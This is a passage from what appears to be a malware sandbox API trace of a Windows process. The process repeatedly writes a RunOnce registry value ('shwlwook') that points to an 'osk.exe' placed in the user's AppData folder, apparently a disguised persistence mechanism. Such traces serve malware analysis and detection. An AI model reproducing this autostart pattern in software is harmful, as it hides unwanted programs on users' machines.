lpdwDisposition=0x0) returned 0x0 [0263.684] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.685] RegCloseKey (hKey=0x14c) returned 0x0 [0263.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.685] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.699] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.699] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.700] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.700] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.700] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.700] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.701] RegCloseKey (hKey=0x14c) returned 0x0 [0263.701] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.701] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.715] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.715] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.715] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.716] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.716] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.716] RegCloseKey (hKey=0x14c) returned 0x0 [0263.716] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.717] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.730] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.730] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.731] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.731] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.732] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.732] RegCloseKey (hKey=0x14c) returned 0x0 [0263.732] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.732] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.746] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.746] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.747] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.747] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.747] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.747] RegCloseKey (hKey=0x14c) returned 0x0 [0263.748] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.748] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.769] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.769] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.770] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.770] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.770] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.770] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.770] RegCloseKey (hKey=0x14c) returned 0x0 [0263.771] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.771] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.777] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.777] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.777] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.778] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.778] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.778] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.778] RegCloseKey (hKey=0x14c) returned 0x0 [0263.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.779] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.793] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.793] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.794] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.794] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.794] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.794] RegCloseKey (hKey=0x14c) returned 0x0 [0263.794] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.795] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.808] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.808] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.809] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.809] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.809] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.809] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.810] RegCloseKey (hKey=0x14c) returned 0x0 [0263.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.824] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.824] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.824] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.825] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.825] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.825] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.825] RegCloseKey (hKey=0x14c) returned 0x0 [0263.825] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.826] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.840] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.840] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.840] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.840] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.841] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.841] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.841] RegCloseKey (hKey=0x14c) returned 0x0 [0263.841] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.841] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.855] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.855] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.856] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.857] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.857] RegCloseKey (hKey=0x14c) returned 0x0 [0263.857] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.872] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.872] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.872] RegCloseKey (hKey=0x14c) returned 0x0 [0263.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.873] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.887] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.887] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.888] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.888] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.888] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.888] RegCloseKey (hKey=0x14c) returned 0x0 [0263.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.889] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.902] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.902] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.903] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.903] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.903] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.904] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.904] RegCloseKey (hKey=0x14c) returned 0x0 [0263.904] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.904] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.918] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.918] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.918] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.919] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.919] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.919] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.919] RegCloseKey (hKey=0x14c) returned 0x0 [0263.919] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.920] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.934] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.934] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.935] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.935] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.935] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.935] RegCloseKey (hKey=0x14c) returned 0x0 [0263.935] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.936] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.949] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.949] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.949] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.950] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.950] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.950] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.950] RegCloseKey (hKey=0x14c) returned 0x0 [0263.951] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.951] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.965] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.965] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.966] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.966] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.966] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.966] RegCloseKey (hKey=0x14c) returned 0x0 [0263.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.967] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.980] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.980] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.980] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.981] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.981] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.981] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.981] RegCloseKey (hKey=0x14c) returned 0x0 [0263.982] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.982] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.999] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.999] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.999] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.000] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.000] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.000] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.000] RegCloseKey (hKey=0x14c) returned 0x0 [0264.000] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.001] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.011] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.011] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.012] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.012] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.012] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.013] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.013] RegCloseKey (hKey=0x14c) returned 0x0 [0264.013] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.013] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.028] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.028] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.029] _mbsnbcmp 